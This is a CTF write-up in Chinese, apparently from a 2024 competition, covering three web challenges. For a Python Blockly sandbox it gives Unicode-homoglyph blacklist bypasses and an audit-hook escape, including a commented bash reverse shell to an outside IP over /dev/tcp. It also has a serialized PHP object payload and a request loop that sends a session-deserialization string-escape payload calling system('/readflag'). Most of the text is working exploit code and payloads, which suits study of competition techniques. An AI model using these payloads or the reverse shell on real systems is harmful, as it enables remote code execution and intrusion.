PyBlockly
转python代码的时候存在字符串拼接而且调用了unidecode.unidecode
我们可以用一些和Ascii码相近的unicode字符来绕过黑名单,相当于我们可以往run.py里写入任意代码
然后就是一个hook函数和不能用import
经过测试__import_可以导入模块,重写len函数来绕过第一层,os.system可以绕过第二层
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
print(len(event_name), event_name)
if len(event_name) > 4:
raise RuntimeError("Too Long!")
print(event_name)
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
def aa(a):return 1
__builtins__.__dict__['len']=aa
__import__('os').system('ls')
因为/flag只有root可以读,所以我们去/bin目录下找有suid位的命令,发现dd可以读flag
import re
import unidecode
# payload
# a = 'aa‘)\nprint(‘cc’)\nif(open(’\u2215flag‘,’r‘)。read()【0】\uFF1D\uFF1D’f‘):print(’ok‘)\nelse:print(’no‘)\nprint(’bb'
# a = "aa‘)\nb\uFF1Deval\nprint(b(“\uFF3F\uFF3Fimport\uFF3F\uFF3F(‘os’)。popen(‘ls \u2212al’)。read()”))\ncontent\uFF1Dopen(‘app。py’, ‘r’)。read(); print(content)\nprint(’bb"
# b = "\u0061\u0061\u2018\uff09\u000a\u0064\u0065\u0066\u0020\u0061\u0061\uff08\u0061\uff09\uff1a\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0020\u0031\u000a\uff3f\uff3f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\uff3f\uff3f\u3002\uff3f\uff3f\u0064\u0069\u0063\u0074\uff3f\uff3f\u3010\u2018\u006c\u0065\u006e\u2019\u3011\uff1d\u0061\u0061\u000a\uff3f\uff3f\u0069\u006d\u0070\u006f\u0072\u0074\uff3f\uff3f\uff08\u2018\u006f\u0073\u2019\uff09\u3002\u0073\u0079\u0073\u0074\u0065\u006d\uff08\u2018\u006c\u0073\u0020\u2215\u2019\uff09\u000a\u0070\u0072\u0069\u006e\u0074\uff08\u2019\u0062\u0062"
# print(b)
# b = "if(open(’\u2215flag‘,’r‘).read()【0】\uFF1D\uFF1D’f‘):print(’ok"
# a = '‘);setattr(app,‘\uFF3Fstatic\uFF3Ffolder’,‘\u2215’);print(‘'
a = 'aa‘)\ndef aa(a):return 1\n__builtins__。__dict__【‘len’】=aa\n__import__(‘os’)。system(‘dd if=∕flag’)\nprint(’bb'
#a = "aa‘)\ndef aa(a):return 1\n\uFF3F\uFF3Fbuiltins\uFF3F\uFF3F。\uFF3F\uFF3Fdict\uFF3F\uFF3F【‘len’】\uFF1Daa\n\uFF3F\uFF3Fimport\uFF3F\uFF3F(‘os’)。system(‘bash \u2212c “\u2215bin\u2215bash \u2212i \uFF1E\uFF06 \u2215dev\u2215tcp\u2215124。221。19。214\u22152333 0\uFF1E\uFF061”’)\nprint(’bb"
#检测字符串合法
# blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
# def check_for_blacklisted_symbols(input_text):
# if re.search(blacklist_pattern, input_text):
#
# return True
# else:
# return False
# print(a)
# print()
# print(unidecode.unidecode(a))
# print(check_for_blacklisted_symbols(a))
# 输出每个字符的 Unicode 码点,以 \u 的形式表示
unicode_output = []
for char in a:
unicode_output.append(f"\\u{ord(char):04x}")
# 将结果转换为字符串并输出
output_string = ''.join(unicode_output)
print(output_string)
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"$(sKlpWcndDa+ELT{P=)","x":105,"y":139,"inputs":{"TEXT":{"block":{"type":"text","id":"v4#0AoYZV/HPx_i(!9Nk","fields":{"TEXT":"\u0061\u0061\u2018\uff09\u000a\u0064\u0065\u0066\u0020\u0061\u0061\uff08\u0061\uff09\uff1a\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0020\u0031\u000a\uff3f\uff3f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\uff3f\uff3f\u3002\uff3f\uff3f\u0064\u0069\u0063\u0074\uff3f\uff3f\u3010\u2018\u006c\u0065\u006e\u2019\u3011\uff1d\u0061\u0061\u000a\uff3f\uff3f\u0069\u006d\u0070\u006f\u0072\u0074\uff3f\uff3f\uff08\u2018\u006f\u0073\u2019\uff09\u3002\u0073\u0079\u0073\u0074\u0065\u006d\uff08\u2018\u0064\u0064\u0020\u0069\u0066\uff1d\u2215\u0066\u006c\u0061\u0067\u2019\uff09\u000a\u0070\u0072\u0069\u006e\u0074\uff08\u2019\u0062\u0062"}}}}}]}}
Password Game
主要就是通过引用来修改输出。
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
//$user=unserialize(filter($_POST["password"]));
//if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
// echo "hello!";
//}
$payload = new root();
$payload->username="admin";
$payload->value="2024qwb";
$payload->aa=123;
$payload->test = new user();
$payload->test->username=&$payload->value;
echo serialize($payload);
//
//function sumSingleDigitNumbersInString($input)
//{
// // 使用正则表达式匹配所有个位数
// preg_match_all('/[0-9]/', $input, $matches);
//
// // 将匹配到的数字字符转换为整数并计算总和
// $sum = array_sum(array_map('intval', $matches[0]));
//
// return $sum;
//}
//
//// 示例字符串
//$inputString = 'O:4:"root":4:{s:8:"username";S:5:"a\64min";s:5:"value";S:7:"2024qw\62";s:2:"aa";i:417250;s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";N;}}';
//
//// 计算并输出结果
//$result = sumSingleDigitNumbersInString($inputString);
//echo "数字的总和是: " . $result;
//O:4:"root":4:{s:8:"username";S:5:"a\64min";s:5:"value";S:7:"2024qw\62";s:2:"aa";i:4172505;s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";N;}}
O:4:"root":4:{s:8:"username";S:5:"a\64min";s:5:"value";S:7:"2024qw\62";s:2:"aa";i:4172505;s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";N;}}
platform
session反序列化,然后有一个字符串逃逸,要发两次包,第一次把session写进去,第二次对session里的恶意字符替换造成字符串逃逸。重定向触发session的反序列化
import requests
while True:
response = requests.post("http://eci-2zeg4gjm1ccp642eh6hm.cloudeci1.ichunqiu.com/index.php",
data={"username": "evalevalevalevalevalevalevalevalevalevalpopenpopen",
"password": '";test|O:15:"notouchitsclass":1:{s:4:"data";s:30:"phpinfo();syssystemtem(\'/readflag\');";}'},
cookies={"PHPSESSID": "v7fkmshkijtfm7a0l2c4ud65sm"})
if "phpinfo" in response.text:
print(response.text)
break